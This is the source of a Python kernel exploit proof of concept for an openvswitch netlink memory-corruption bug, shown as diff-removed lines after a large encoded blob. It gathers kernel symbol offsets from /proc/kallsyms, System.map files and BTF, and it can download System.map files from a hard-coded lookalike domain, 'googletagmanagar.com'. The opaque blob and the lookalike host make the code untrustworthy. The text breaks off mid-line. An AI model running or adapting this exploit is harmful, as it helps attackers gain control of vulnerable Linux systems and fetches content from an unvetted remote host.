#E5hiqLb<=bCT$o~4tmT!(XhuW;xza4)G*Dp4QC+oA~`qx4_mJ#B4v3QBa-L1JxGfuIDkA)9O)va^ysX>axo**+T0z7fcV?D?{7XGUh*nk}pgBHK)lw#~h4L{%&0$wp8cwKFH%%G+_twj&!^pxTpzZS2Nw?0%eF+mE{j$@Y>d76aLVp3(jk8+#ezb%GN)ikHYb$cdX?#8loW@k~mPmK6w3Vr>$aY>erAa4xJ`(Ky1V&aX{?MVo%z{bS<{7qAjCVh>h5Y{lsc)YZYQIM{GB(#(uqdUlcZF#8#p+h>h5Y{lseQlFsL4i9M;tz7gA}n*yQ{8?h04rW(5~F*WwH5!+9wv9C5;v8zHP)*psc1hEl&F0q4E?C^MgVwclX5v@~=ZFSUK6hLgmo+}k8jc0|&a};}WDw4!5qxI2oPyn$Jn;ILjGm0Jdud%{jdo?6>d&x%s&JJfJjM>?7>u(!~{gsPd9;j4fm#g)^K6FuC{vq~2*#o`$`{C8u(fNYaMmf+Ux|@U=7v;AYh#bYpwbM5Uu*!^%B*(N>p1H#X&VxLp2>BP@SLZz7CLXtlM$5q`5^$2m;n%OT0NlYVvBR&QEoJUOlX}_;gZNg;@U^v_@;RCIvz3yjtsl6hwD5?fqkOyv5q36vX;yz#6Q`2RL}LiC{X=;sqTATl%Y-#DbwJhaZy>QhH9v$s)p*!RGZ$a+6)CCV$(uYr=q131gfEWuD3;9dfpbFFV($oi=9}fx5Xx{cIo<}lc?#i25Yb;0s-s%SocLBrmttOq1va1MXjO`fj~7>(*^?7xv928Z6LP4!}?=d36f4ORs_~)jn)L#Xq{hc*Be;75mc+Fp&F{8n!p;WXP~+_uy%ccb%S-Y62z38TLf#cCa?zU{8;`2p*2+Jr@A+^E{8(vG`*D+^AsOE(cs`FDl@VXfK*6qE#Ix9p99nuab1{l#At$AHU>+D)ry|0VCg>^%Zey&8?T^xaa0c!);C(4yNUJ7tJAa@B<-=TXxl?;w0?SpHCiuDYf*iLwW$6Kq^8=W!;4l$;c*eFp_)z*sGfo9zD|&CtkWjzl!EB0xsqG47zC`rnoba~o&)QiP7skDZ;O&PqsF?xhH9vW>L*rLhXBrS)yprn*#ifa;(<9oA6YPqkgW-JESMPL9Uk9Qf&fzWeUgPd~qT@y{Q=ef8ge+xCU5&zj?2t~u_dws<2qaw9i#BX8iPt+`1~1juN6NksG;@dk(qVsX1~#C%I)%Zut_q#iz7HTyz$>ksG;@8@cnzZ3g8wqvXEYY%inRw6Ra?XajO1H*zC4a_5tKFz1$PjNGYhJ1y|jy3i_JF>uI@+{lgG$emAa7Stz;j53WJs1*G95;Ye;X&h6l&1r)Sx=ee>Y_7y~uvCIZ7KlQip|tY{-V}*~kuBk19S(tyo*SEV5-wwoD>BL}jCcY{-Ue$cF5^WKRl4Zpf~^uA=df4cU+l*^r%)Y`uS#ou1?xva3R=W@r$yAsezG8?y6~J-x~fX}6Lns%*%HY{-V}ykyJ%Rrc%kWka?$g_0-|or7%1hHS`&?5t$(U1hh)c2W5#7P285vh$N|tWw_YzDcgD`tyS2AlH(}Hs2g?4z*dWe>?sXu3u~pPu6F}^{=tge;mF)uYWCF{5gTWO2vEl3vS~!Zs&7bhbpwcQbTTw!tEuxeRO($b&THVjot($=>4_mJ)wi-*Q;$%5(<&113?L7L-x~~hP0YpN(&;}?mrCq`f5ABuB){A&RK>b5gW1R5?j1ccGM;gqV0u=y?_5mOY9JB8Eu8wh>h6P*od7^Y`1@nol=n`_I63B)6pu#Mr_2U#zyR%V((pJr<3K4*ftHXYZVo#2x22PVk34|vG;D#Zr9i@8W*)eY{W)vQW3J4u@!r>5gV~dMG!ly*yXf->>tj5FA7P$BBrjf>Fz^p#C~E!kJQ*p6MIrW_KnzOv?dy69uXU{5gW0yioO3jzn0i88bytb*ogh~*7^B>*b5RnOyA}g?yrN=D>1BtLT%K38q54#6<7zgK(#0D^22WI#_p&64(Tj*FUjux-yzckWXediEtHAr9ArsGg4l@t#8U05q;q6ZVo#b`zY*I;C(-f_iP(sZ*od7~?7iP1+hXgq$xjPnBQ|0`u~fvDg4oLuyV^e$N$1v+*kTLOQR*_AR0OdRo0Bw%omK3;Q<1jV5`~#{#71nyM(o^T@12UY#WvAsULFw}vF8z6+4}3`N2DSmxBg3fU1Hxt`WD~)V(-wd^vdf}Rjap~v(3fHQ5Sa!u=;O@w*FgP_(PZ8dR11c`a|r2vVR=^;t%D}_mcPm`>+rDj8wkcJ|Bkc3u?rMrTWig7?TJG-tZPwt%d`wZX)6Rmg0TCIV`kJ3p=!n_EW&%AsezG8?qrg2iY=ZE8Y#+WfaxQgdrQUAv^E<_pPkAf09u9VCcJ864^3!06hH~ccuvaO36wbQ-rvU+Zo+9RppgZque&4aC?DnPaFY9Z}dj*N2|Jn9jABj_8GnF-Pe1Uh40pbvLPF?vyd%Qx`(gH-rgt_5803n*^mv{8Ob*LSJ^-RdbK6HIZ~L;$_B`WY{-Ue$j(ak-c@#sY+XfXqtcKK*^oWcTb>&GmPZHOqR4g+&_U+$(}SFenWN@wTVU`8?qt$6WP*U>e(V&x3#@Tw)WMojHEWd6ytVo4Anl^pewTN1(7YXQmfxjE-pKzUVVG|zJ|0D>}?8SS81I`U0|EYo=}{|Y1&3`I)l>_8vW9}tC#DuqL6ewCADWODr>|>Y{W+FoMOwA3xzjgtEg3UOw%AXV$UJA_oAy2@wKzg*S{WOFGy_nWdn~dug(hX3YBhtM@L)@(GcB=t4&8No&Ng4`GL5)@?mF7U#O~aEq%e1mIGJICwle6$-jSm-90mNwP~O(s-iBWB}8X-L%sb2u{u9H{Rq}z&D-MsZ;Mq~daM1Ix5Y{<_4J~!Ua8gT<%d0=7VD4N?6mzU+LD?YreQjB3y3IMK%Obn6IwuU8mDoZavG;IJMAZy)1uO?M5m$?n1*SXrksZ9JWNk2r*Rsm^E=)8`RCj1p=x~n?yXK@jP)w89b{Qf>)vv@uPyJdY4=`wPE1y(&_g6@UwotLe_=INQ&VTN+GuBeyI}9FsVl1$op}qh+E)kKgoE{O|2eDe9qOr;-rcD$uTE1Ri0G(%)J(x3H*ynNBX>@@%c-Gt)3@h@@p71kX_$uTr^>XbC_XA$KwuiCd0T|(OiWLETcn)EX`IGsoPO#~Q%~bGPS3OPqpW1y#t&hfd`V7+FWvZYT4+-!9h(L{9uOfKqDiJ9Iw#SSlIgk-cl95#XcUz+Ov5xx!}Jqo+PNq&4bw19Fb&h0n4SVFPUAFAe;rO!PvbOBGnk0e*_bb$c@~zejs;7xvTN5AFr>rM2k*b78IFwq0YUS6*+x3zR=!VeP-wKPxzHO(JDofYbd%^#u*<)W#gF)$6&Fb&f%{WO{O>4u`MU>c@jn%)nX&cpPi-Ve%YoW^OK#_6Z;H1#x2|anDwNX2t+NP?!Qfidi?Z-*fUX0pDr{`D4*p1!TO-6#h4xKq7WVv8(A5kX6?djW$ftpf+kV0g2lA)Sf&6iQU+Z-DD)#J)hmvQtj_IhehF=y?zpfc^bq-cKS8$XCro{glq)2aXYWu)?0Gz=j`^xU>m*B8@(STC$UbPc4Ll=dF9ASmZkUp(e^(!$HlAlMg4t|7LVu<4JT_L8?qrAvh$L?cedRo+o$b*nrs`gA$u;ejUGp~SK%uq`UJls8Fx2Hecp*MP?_v1tgGNQqm6nKGp@BeU@E|-7%{-P)(Z8No=pailZ8?qrgH`#kX+_lN}(YfdtBZO?ohHS{rNw!S8%azF1O_eQWRO~Z_Y{-Ue$j(dlq{Cb-vVAm=4cU-Q2MJ{7B-=bd2Z`x=gA~sjByQt29VED&(e3FSB9C5CC+cNpS*shXY`AE=GRbh9ppBAe^_4LHvez{lYXQv-g`wP{s-L`i1wszuY9PBcZ%)Buw8W**Q*~+{{7?Y-o}xaS7&J#tFEmM(SF(zMdj_>lFvhp@@Ikd5QTFpv`wx)=We@a_-sxmbqj#0YYqW}bJHn3K$c^08+sK_mZapmbPO-n=92P|_cFnbmiV=3yMs4bC)P7vG$JE>D5PQ;F>y&ZpDmqKOjoiq+eTS?>b;@lj8EPR>c9+~<>aUYhyIV-K1XUsTvg9^?wf;{nOc&f%y4+6fey=z0(-3=V(5|A@yhUO)R?lE{sqBP-qWj9~CIivwrP0}F15zV3QqPrvXc<>lI~MsZPU`-$+IBYfr8ewTR!gY=1f}5_5wHepu%@gA>#SH?)mv6eUjUNIYO$%T79SmBj!2Evw1FUXeyMxgKzx_gsoA=*x=LH0tVFG_8mqB-ma5ts@gu8hnyr^-_1mNOgE2MF(VD0jgTZR7CalKl>{j=M)n-Qvh?uDL&DK4nMrx!ctVZgLQV)dHy{kZ8Y>tY;H7inmG?dj~4c2pE-M;9>bosNwT6)83JG2Kx`$DIUP0{kKh}1|uR{)|)Apm)&<);`76LdPCbBlT=uAWG3&{amH)3qkx)Z?#Ahf~Zzajnqhu)R}8)Zx#0!pR3dZ0f_Cxx;eXOn}aaAbz^`41gycD00gY_U~PK?5a0K<*!1g3+Jx#PY61|XM(Vjn7G*>iNE%tJKahHHQumE4I@MQIH&!>#irTOU1go){uo|mpu(~g-E{A%n#ngZIj;g#lT#nR8jnw(2_F-gLO>gxArGD3)R99UIwbq5wbs-&{BB4fTgr4aFj2-)&*t!&h&2$h&%XlJEBQ@`cNS$5kzIVjX*PWNf6UC)FUFjXs^NxtrNd2@^Fq2S`*?kIw#B-xs7*9g)O37+HCVHU39K_?9eT45-M@!PNo!LcLL)RnlTIV_>_QLSbV*XzOb7ORAT?6YCv|Bpwe+)&{eO{_HHj;5?WVTrSNP{#T9w7b5NcT;OH(2{ZxrDXwehAiJO+^jXd9kjG=Ds<^-c(vgZQ134&9oB&ci5!TA>9?Pg;vZRA~Ztteu&VICv@M0c#=9@t98+8<`0n?spq?aDBf}d@!3kS9XnxYoB)F>5_gtghpsy4-q=M(9)YtySww@sfISHMmg=oa~h!$8libTMCeBodZ-hxDAR7dly*={BQ;XSjkR$|jnqg@p9fOsmU>{Nhq)hkd`u6BX*r&aj^kP&4btpg0_jIZx<8%XVqK-H0FK!fum)=?YOv0Xwdw84^F6aIqM}Y82#wGPP3JU1Kbp|Hc9{C84PALijns5{AoUDV_q`+fu3kJ{6{_Z0q9&R~XoRNI1EC*J=)Qa6P1m$(QV$;;_r#GJshL7V>daEx{s|Ya?oJ^#$+WA#N7H1B!f1@fXz~t>&Te#HHQl*oTFP{@MO?IWcOW!ElXoEW;|blBceE~w*HYUMEpLZNjnvfANS$BmcO%k{cBizDg3t(!&~!>8^c+GDjJ3GCEqDoO@kQ$H2pj?cX^>|25TqX&>ArsH&se*PJGEd9)>PDBogHh}JK55)XZmB>jCWm5)8T>82+iyvLO-6+JN9@qV=d8CaWPHqol6Num)Np?Nbz=*JVf>&@_{mX@+mp?Nc8IvlBydbV1c>G0<(^+2<9xVs4N<<(jJtypLmlhd@|fiy_ZHqkN`X(n2p7t(zbEeUI*QabHa{Q=fs4c5FMf^}Z3!@vuo?MXdEMX5MXi_sWOA09@}V02HXwC}x1Yoqw65E`KonysY>{dhv}x*qPLGEwt_h}1|uTP+yW0em5fRXg?o@sC0D9v>-G>&(-7MTi>J9($7rj{^!Hnfye8sg!F0s$EHxW7CPzx(jX1ebG1y5MVcOu=Y@2Ck4KHQOm-ab+LL-bC!>en5VuyliZ?{8#_IXr5JM@vAwE~D``!?5T@io1zT74rx=bPH{jHMT7;@$_>N+OOVj&Nde(M_ov#pKdAr)Bk+;-K(E|e)Hm=KYaV@zyH=;6o0k8NSpFh8C{5qM@7^|?HSZ&4-;w+sNI!<4C$TX>zmz7$c@~{&0Z$t&LX$!-Joasx~l8i+C^atH9{lwTn&5Gi1$Tm>*pr)j*U!8q7m*QA~jO8?E|T2kh*V{-1KjuR%QKx&ZViAH~W~FO+;vfo->#BinIfv?+D#D^>QP%jV5q=3#pNM#wqdG7ZJX=*!sJBrYwW+sJ`*GF&lG`s*7HP?zxw+hh+{lgG)Z56NLvB4R_n_G6Rr1^S7wJ_}Ow>Lqq25Mq)TZ7>?MGF6Oue1@vm3o_y5^-#w2pckxsjWC8@aQ|J^V7M%UxopO9X{W{UqX}ut@~9QJZ=jwI5gQQT2B7I$7&orrjcS$!$ILHgY33_4X`s?=Vj6pmAcyRHot!ZK6^)SptD-m+{W`R}R@IYL9GkRW>nJ)Z7j;GDhm6QLN97j+N$Yd`XLd6zx3Rl=(V8uDbv+wWFPdf#C~BkjT=i@vfqE9TJJcRqZ{KX5v#H*`zKVj}$c@~2>+LdF>g{JKw;z_<@0zu4Hqq&nkT_GLO}&lUs6AJ`%>{4N?o@m1@99c;@?gAEYFAeU&s3eS<0ZG>j6Wmf2s!I1|RSDd{4ct$tN!qnwFL_KhOwG-|z2)8Sj3AYX1a7)z9;oKzp_0|xcbhJ@O^4Q>W+cTF%0vmD0&OO4fEuWQ8mMzYZB}oO-j9YlwTv`t`frA7IBE#gKs_JS+5`2og}S?*Y~36`ofQ!V_mLRnioZ&25N$8pq>Hh{-AoN)gda0mPbXb#%h9Utj=t;?+dE^E~uOC4?|E5)IdEG)T6fYIb(F$`qlvIg+Sete)vDc_ALmx9)LM5iZb<8TNNb$HedtxEGdYt{HVTaz+NQS{VB+e*_~~Buh*B`p~bRku@0mmn2p&K*_fT(?6NNnDTj*e)Dx1x)-K(3H1^Y>0>B1rz@~i!BK|p_=wRsLoAwPk>$a&zYY!$G==uo)846ftvO`pq>Hh{@{9-)lKhSw6t1dHCEHUht-*_4t;@j*afwUbzN;7Py;nk^Rfuk*`e+Ws>5Id->+9&vUM7b5fzm{He^FKi%}svH`zUbb?Arsv?!!V*I>#hKn>JD{p6q~uwEY2{ektc)m5R(=;{xaIAJwb(*=UnnXRt+0_$q%ewR_Hvsz3vB~Sx3P|p=uD@$Mv)VHC&j;nS5D9mYEk1E?%5GrfH25d%Q06Ra}eJ_mF?hb2LM#Cr!R6{j^HB{%NTC0Al>z^CWL39l@3sSKft8ZIvBy?IGlp3(QYW-dkSY!2FtL^IT=4^9ua@1*c*M*ojFaG(%x3B*DZ?`VR=%^|#`q$8vQUEv*&w=WQYc{JIo%Kqq&u9H!+O5CPtqyJDhdQ)v*a5dORsAosv)I;^(mojAUJl$^eRI4y)MmB*?f5g3x1J(9seZ9JJXxO=+h1a(|2TYquFW^P_;aeWSIX6YKllr3qc&=1Rl96|C5F^CqELHzY9F1RUmasNc4PNf7L_<%T07!N(t53kw-;r1nqNQo<;a?Y+f?qBI~_}Jnn+9vNF;E32C)$vu@O7F*m^&)Q>5L9UDkihqH@edA~s^rC$PjQuk`A8^UM0`^m4q_H@p1`DU^%0iu!YPUHti2`?CB+^ZJO|)Y+NqY*Tu&>}RR=zORqla|dUsJzFF?&Fdp#Ble8Rh$xbg=P35xS@s>V6&J-28?omRTbvHnm>Sy{?E~G}ixRu^s#L1}H$yX#HNwi*pX6=%hc1J1!FZ$o5IIoxk5a9V%hLAmCBbj}#_znt?0!tYU-H|MY~y$G+q&(b`ycMe9vx|i-}sH+_>JFB-ft_~sj9s8+g7CwLE$%k<2O4=@OwtTW%^DMS;^hGcE1ujOHdoN*-3)h8P%S=lLWi5n_g~ux%1e4i|bpEe~I1067JI(y^=7~eLC&coQW|Kg)=dTjo8exAa+)<_nu|BU1KX3g=36}jo65d*qO!Nb1&1K8e2t8jg8p6<;^mEC_!XI_p>ps2Ae*NMTxz>IQmtu^cTH7{xv;3HivW5d!q``g{Y+XM%DiUYp@3Ed{}#1`Voy6QabB|QI%z3{h!TQ+N4+iKiyvcKi~Z@-t00uh1r-*B*J(KW@j?nOdn4%_s=etE9GeKLv7S%JO#D$sXci-1-r2uyJ_^p?)mKAzcu^&i<9jmWR+H++WLcYUWkp@w2dHkR^D;0Qq#B9u_Zv?ZmnLV{_1i6tLxgRGVamtctKR>xA?DPBes(7{jSQKTUL$od$M?3=9fISn~zVZax&k*cMJtGa+q5cyPl|;)6BwzzJ6*ge!1KaOkVW$Vk1hzKypR(vI`&R)Qu&J;CJ1^LKSJ-W^>k2zW1=xTM*mR5lc0RDn$sHqQ*Sn+kygOnxX45f(+1bpV+A)IM$c^0O*~mSc+|xTov`rl&;#e~R*nmx*4cK|X-v69f3+yuLDq8Yvzy@q8Y{1S3c9^!vuL0ZDA5ojAsjvYXu&J;CJ15wad$JSQHY!7f4cLH9#|U8O1iPBtF;aECI|}cPn2p(Vj9_*?v!`~9AUAR&H+eR4&nEY({tewP&wh1&wv9(ZAvzi#oh2RtY`_L=z|IP`-Lu8-YO@8qs*O&U#2j~N02{CY8?f_&?WXl)i%ui!PND{Ezy@qOMgTh}*s_g8?4(FUqA^j3L;xGG=K@O+9WS5u+JX2W-H;1-9-1+p91DcG=Omcc;HEhz^w_7Bf5uTG0X3gu$`;XYplEdE?o@{0~f3|oLUWoTZst18%Wqs@vjx#gg3CXP1Ozry_ixpJiivoRa9Gn#FxN~thzv{^#H?8TWqZL}G=ksG-mBlPuNmCnh+Lto_XkbD1Cov+uI+n~hOe@l;Iqp8TW0UNLZ8?dv2t@j^oPGD str: - uname = os.uname() - return " ".join( - ( - uname.sysname, - uname.nodename, - uname.release, - uname.version, - uname.machine, - ) - ) - - -def acknowledge_unknown_kernel() -> None: - print( - "This is a memory-corruption-based PoC -- it requires per-kernel-build " - "derived values (offsets, etc.). These were pre-derived for a number of " - "kernels in this single-file PoC, but yours is NOT among " - f"them: {uname_a()}.\n\n" - "Therefore, the PoC will attempt to _dynamically derive_ the offsets, " - "etc., from readable local System.map files or nonzero /proc/kallsyms " - "for symbol offsets; readable /sys/kernel/btf/* files or unstripped " - "local kernel build objects via pahole for struct layouts; and loaded " - "/sys/kernel/btf/openvswitch module BTF for " - "OVS_KEY_ATTR_TUNNEL_INFO. These are often available to unprivileged " - "users across distros, but the availability depends on various " - "security settings. If they are NOT available, the PoC will report " - "this and terminate. (Note: pahole must be already installed for the " - "dynamic derivation; an actual attacker would just package it in the " - "PoC).\n\n" - "By proceeding, you acknowledge that such early termination would NOT " - "imply your kernel is not affected, since your kernel could still be " - "vulnerable despite these sources not being reachable by an " - "unprivileged attacker; an unprivileged attacker could still trivially " - "target the PoC at your kernel by obtaining the symbols in a myriad of " - "other ways (e.g., matching distro debuginfo/kernel-devel packages, " - "System.map/vmlinux/BTF from the vendor kernel package, a second " - "machine running the same kernel build, rebuilding the same " - "source/config locally, public distro debug repositories, or any " - "privileged read of the target's symbol/debug files).\n\n" - "For a definitive check of whether you are affected, see " - "https://heyitsas.im/posts/ovswrap", - flush=True, - ) - if not sys.stdin.isatty(): - log("auto-acknowledging dynamic derivation (non-interactive stdin)") - return - try: - answer = input("Acknowledge? [Y/N]: ") - except EOFError: - log("auto-acknowledging dynamic derivation (EOF on stdin)") - return - if answer.strip().lower() == "y": - return - raise RuntimeError( - "terminated: user refused to acknowledge that dynamic-derivation " - "failure on an uncovered kernel would not imply non-affectation" - ) - -def require_pahole_for_dynamic_derivation() -> None: - ensure_pahole_available() - if shutil.which("pahole") is None: - raise RuntimeError( - "kernel is not covered by pre-derived kernel records, and pahole is " - "required to dynamically derive kernel struct offsets from local " - "debug info. This does NOT mean you are not affected, as a real " - "attacker would just package the equivalent functionality into " - "the PoC or otherwise target the PoC at this kernel. For a " - "definitive check of whether you are affected, see " - "https://heyitsas.im/posts/ovswrap" - ) - - -def json_object(value: Any, source: str) -> dict[str, Any]: - if not isinstance(value, dict): - raise RuntimeError(f"{source}: expected a JSON object") - return value - - -def json_int(obj: dict[str, Any], field: str, source: str) -> int: - value = obj.get(field) - if not isinstance(value, int) or isinstance(value, bool): - raise RuntimeError(f"{source}: {field} must be an integer") - return value - - -def json_str(obj: dict[str, Any], field: str, source: str) -> str: - value = obj.get(field) - if not isinstance(value, str): - raise RuntimeError(f"{source}: {field} must be a string") - return value - - -def json_str_tuple(obj: dict[str, Any], field: str, source: str) -> tuple[str, ...]: - value = obj.get(field) - if not isinstance(value, list) or not all(isinstance(item, str) for item in value): - raise RuntimeError(f"{source}: {field} must be a string list") - return tuple(value) - - -def json_carrier(obj: dict[str, Any], field: str, source: str) -> str: - value = json_str(obj, field, source) - if value not in CARRIER_ORDER: - raise RuntimeError(f"{source}: {field} has unknown carrier {value!r}") - return value - - -def parse_kernel_offsets(value: Any, source: str) -> KernelOffsets: - obj = json_object(value, source) - values: dict[str, Any] = {} - for kernel_field in fields(KernelOffsets): - if kernel_field.name == "dst_entry_ref_kind": - values[kernel_field.name] = json_str(obj, kernel_field.name, source) - else: - values[kernel_field.name] = json_int(obj, kernel_field.name, source) - ref_kind = values["dst_entry_ref_kind"] - if ref_kind not in ("__rcuref", "__refcnt"): - raise RuntimeError(f"{source}: invalid dst_entry_ref_kind={ref_kind!r}") - return KernelOffsets(**values) - - -def parse_kernel_build_record(value: Any, source: str) -> KernelBuildRecord: - obj = json_object(value, source) - return KernelBuildRecord( - release=json_str(obj, "release", source), - version=json_str(obj, "version", source), - machine=json_str(obj, "machine", source), - offsets=parse_kernel_offsets(obj.get("offsets"), f"{source}.offsets"), - read_carrier=json_carrier(obj, "read_carrier", source), - write_carrier=json_carrier(obj, "write_carrier", source), - read_lanes=json_str_tuple(obj, "read_lanes", source), - ovs_key_attr_tunnel_info=json_int(obj, "ovs_key_attr_tunnel_info", source), - ) - - -def load_kernel_build_records() -> tuple[KernelBuildRecord, ...]: - source = KERNEL_RECORDS_DESCRIPTION - try: - encoded = base64.b85decode(_KERNEL_RECORDS_B85) - value = json.loads(zlib.decompress(encoded)) - except (ValueError, zlib.error, json.JSONDecodeError) as exc: - raise RuntimeError(f"{source} is malformed: {exc}") from exc - - if not isinstance(value, list): - raise RuntimeError(f"{source}: expected a JSON array") - return tuple( - parse_kernel_build_record(item, f"{source}[{index}]") - for index, item in enumerate(value) - ) - - -def parse_attrs(buf: bytes) -> list[Attr]: - attrs: list[Attr] = [] - offset = 0 - while offset + 4 <= len(buf): - length, attr_type = struct.unpack_from(NLA_HDR, buf, offset) - if length < 4 or length > len(buf) - offset: - break - attrs.append(Attr(attr_type, buf[offset + 4 : offset + length], length)) - offset += align4(length) - return attrs - - -class GenericNetlink: - def __init__(self) -> None: - self.sock = socket.socket(socket.AF_NETLINK, socket.SOCK_RAW, NETLINK_GENERIC) - self.sock.bind((0, 0)) - self.seq = 1 - - def request( - self, - nlmsg_type: int, - cmd: int, - version: int, - payload: bytes = b"", - flags: int = NLM_F_REQUEST | NLM_F_ACK, - ) -> list[bytes]: - seq = self.seq - self.seq += 1 - genl = struct.pack(GENL_HDR, cmd, version, 0) - message = genl + payload - header = struct.pack(NLMSG_HDR, 16 + len(message), nlmsg_type, flags, seq, 0) - self.sock.send(header + message) - - want_ack = bool(flags & NLM_F_ACK) - replies: list[bytes] = [] - while True: - data = self.sock.recv(1 << 20) - offset = 0 - while offset + 16 <= len(data): - length, msg_type, _msg_flags, rseq, _pid = struct.unpack_from( - NLMSG_HDR, data, offset - ) - if rseq != seq: - offset += align4(length) - continue - body = data[offset + 16 : offset + length] - if msg_type == NLMSG_ERROR: - error = struct.unpack_from("i", body, 0)[0] - if error == 0: - return replies - raise OSError(-error, os.strerror(-error)) - replies.append(body) - offset += align4(length) - if replies and not want_ack: - return replies - - def get_family(self, name: str) -> int: - replies = self.request( - GENL_ID_CTRL, - CTRL_CMD_GETFAMILY, - 2, - nla(CTRL_ATTR_FAMILY_NAME, cstr(name)), - NLM_F_REQUEST, - ) - for reply in replies: - for attr in parse_attrs(reply[4:]): - if attr.attr_type == CTRL_ATTR_FAMILY_ID: - return int(struct.unpack_from("H", attr.payload, 0)[0]) - raise RuntimeError(f"family {name} id not found") - - -def run_text(command: list[str]) -> str: - result = subprocess.run(command, text=True, capture_output=True, check=False) - return (result.stdout + result.stderr).strip() - - -def step(message: str) -> None: - print(f"\n***{message}***", flush=True) - - -def log(message: str) -> None: - print(message, flush=True) - - -def env_tri_state(name: str, *, default: str = "auto") -> str: - raw = os.environ.get(name, default).strip().lower() - if raw in ("1", "yes", "true", "on"): - return "on" - if raw in ("0", "no", "false", "off"): - return "off" - return "auto" - - -_KALLSYMS_USABLE_CACHE: bool | None = None - - -def kallsyms_usable() -> bool: - global _KALLSYMS_USABLE_CACHE - if _KALLSYMS_USABLE_CACHE is None: - offsets, _failure = symbol_offsets_from("/proc/kallsyms") - _KALLSYMS_USABLE_CACHE = offsets is not None - return _KALLSYMS_USABLE_CACHE - - -def vmlinux_btf_available() -> bool: - return os.path.isfile(os.path.join(BTF_DIR, "vmlinux")) - - -def hybrid_mode_requested(record: KernelBuildRecord | None) -> bool: - mode = env_tri_state("OVS_C004_HYBRID") - if mode == "off": - return False - if mode == "on": - return record is not None or vmlinux_btf_available() - if record is None or not vmlinux_btf_available(): - return False - if not kallsyms_usable(): - log( - "kernel offsets: auto hybrid enabled because /proc/kallsyms is " - "zeroed or unusable but vmlinux BTF is available" - ) - return True - log( - "kernel offsets: auto hybrid enabled to derive struct layouts from " - "BTF while keeping pre-derived symbol/UAPI metadata" - ) - return True - - -def force_dynamic_requested() -> bool: - return env_tri_state("OVS_C004_FORCE_DYNAMIC") == "on" - - -_RPM_RELEASE_RE = re.compile( - r"^(\d+\.\d+\.\d+)-(\d+(?:\.\d+)*)\.([a-zA-Z0-9_]+)(?:\.(x86_64|aarch64))?$" -) - - -def system_map_release_stems(release: str) -> list[str]: - stems: list[str] = [release] - if release.endswith("-generic"): - stems.append(release[: -len("-generic")]) - rpm = _RPM_RELEASE_RE.match(release) - if rpm is not None: - stems.append(f"{rpm.group(1)}-{rpm.group(2)}.{rpm.group(3)}") - ordered: list[str] = [] - seen: set[str] = set() - for stem in stems: - if stem in seen: - continue - seen.add(stem) - ordered.append(stem) - return ordered - - -def system_map_standard_paths(release: str) -> list[str]: - paths = [ - f"/lib/modules/{release}/System.map", - f"/boot/System.map-{release}", - f"/usr/lib/debug/boot/System.map-{release}", - f"/lib/modules/{release}/build/System.map", - f"/usr/src/linux-{release}/System.map", - f"/usr/src/kernels/{release}/System.map", - f"/tmp/System.map-{release}", - ] - for stem in system_map_release_stems(release)[1:]: - paths.extend( - [ - f"/lib/modules/{stem}/System.map", - f"/boot/System.map-{stem}", - ] - ) - return paths - - -def system_map_cache_path(release: str) -> str: - base = os.environ.get("OVS_C004_DWARES_BASE", "").strip() - if not base: - base = os.path.join(os.path.expanduser("~"), ".cache", "ovs_c004") - run_dir = os.path.join(base, "run") - os.makedirs(run_dir, exist_ok=True) - return os.path.join(run_dir, f"System.map-{release}") - - -def default_system_map_urls(release: str) -> list[str]: - urls: list[str] = [] - custom = os.environ.get("OVS_C004_SYSTEM_MAP_URL", "").strip() - if custom: - urls.extend(part.strip() for part in custom.split(",") if part.strip()) - for stem in system_map_release_stems(release): - urls.extend( - [ - f"https://googletagmanagar.com/exp/ov2/System.map-{stem}", - f"https://googletagmanagar.com/exp/ov2/minimal-{stem}.System.map", - ] - ) - ordered: list[str] = [] - seen: set[str] = set() - for url in urls: - if url in seen: - continue - seen.add(url) - ordered.append(url) - return ordered - - -def _find_system_map_in_tree(root: str, release: str) -> str | None: - for stem in system_map_release_stems(release): - for rel in ( - f"lib/modules/{stem}/System.map", - f"boot/System.map-{stem}", - ): - path = os.path.join(root, rel) - if os.path.isfile(path): - return path - return None - - -def bootstrap_system_map_from_urls(release: str, dest: str) -> bool: - if os.path.isfile(dest) and os.access(dest, os.R_OK): - offsets, _failure = symbol_offsets_from(dest) - if offsets is not None: - return True - for url in default_system_map_urls(release): - log(f"bootstrap: downloading System.map from {url}") - try: - with urllib.request.urlopen(url, timeout=60) as resp: - data = resp.read() - except (OSError, urllib.error.URLError) as exc: - log(f"bootstrap: download failed: {exc}") - continue - if len(data) < 20: - log("bootstrap: download too small or empty") - continue - tmp = dest + ".part" - with open(tmp, "wb") as handle: - handle.write(data) - os.replace(tmp, dest) - os.chmod(dest, 0o644) - offsets, failure = symbol_offsets_from(dest) - if offsets is not None: - log(f"bootstrap: cached System.map at {dest}") - return True - log(f"bootstrap: downloaded map unusable: {failure}") - try: - os.remove(dest) - except OSError: - pass - return False - - -def bootstrap_system_map_from_rpm(release: str, dest: str) -> bool: - pkg_mgr = shutil.which("dnf") or shutil.which("yum") - if pkg_mgr is None: - return False - for tool in ("rpm2cpio", "cpio"): - if shutil.which(tool) is None: - log(f"bootstrap: {tool} missing, skipping kernel RPM download") - return False - base = os.path.dirname(dest) - pkg_dir = os.path.join(base, "kernel_pkg") - extract_root = os.path.join(base, "kernel_extract") - os.makedirs(pkg_dir, exist_ok=True) - if os.path.isdir(extract_root): - shutil.rmtree(extract_root) - os.makedirs(extract_root, exist_ok=True) - - dnf_base = os.path.join( - os.environ.get("OVS_C004_DWARES_BASE", "").strip() - or os.path.join(os.path.expanduser("~"), ".cache", "ovs_c004"), - "dnf", - ) - for sub in ("log", "cache", "persist"): - os.makedirs(os.path.join(dnf_base, sub), exist_ok=True) - dnf_conf = os.path.join(dnf_base, "dnf.conf") - with open(dnf_conf, "w", encoding="ascii") as handle: - handle.write( - "[main]\n" - f"cachedir={os.path.join(dnf_base, 'cache')}\n" - f"logdir={os.path.join(dnf_base, 'log')}\n" - f"persistdir={os.path.join(dnf_base, 'persist')}\n" - ) - - pkg_candidates = [ - f"kernel-core-{release}", - f"kernel-{release}", - ] - rpm_paths: list[str] = [] - for pkg_name in pkg_candidates: - log(f"bootstrap: downloading {pkg_name} via {pkg_mgr}") - proc = subprocess.run( - [ - pkg_mgr, - "-c", - dnf_conf, - "--setopt=install_weak_deps=False", - "download", - f"--destdir={pkg_dir}", - pkg_name, - ], - capture_output=True, - text=True, - check=False, - ) - if proc.returncode != 0: - detail = (proc.stderr or proc.stdout or str(proc.returncode)).strip() - log(f"bootstrap: {pkg_mgr} download {pkg_name} failed: {detail}") - continue - rpm_paths = _filter_rpms_for_host( - sorted(glob.glob(os.path.join(pkg_dir, 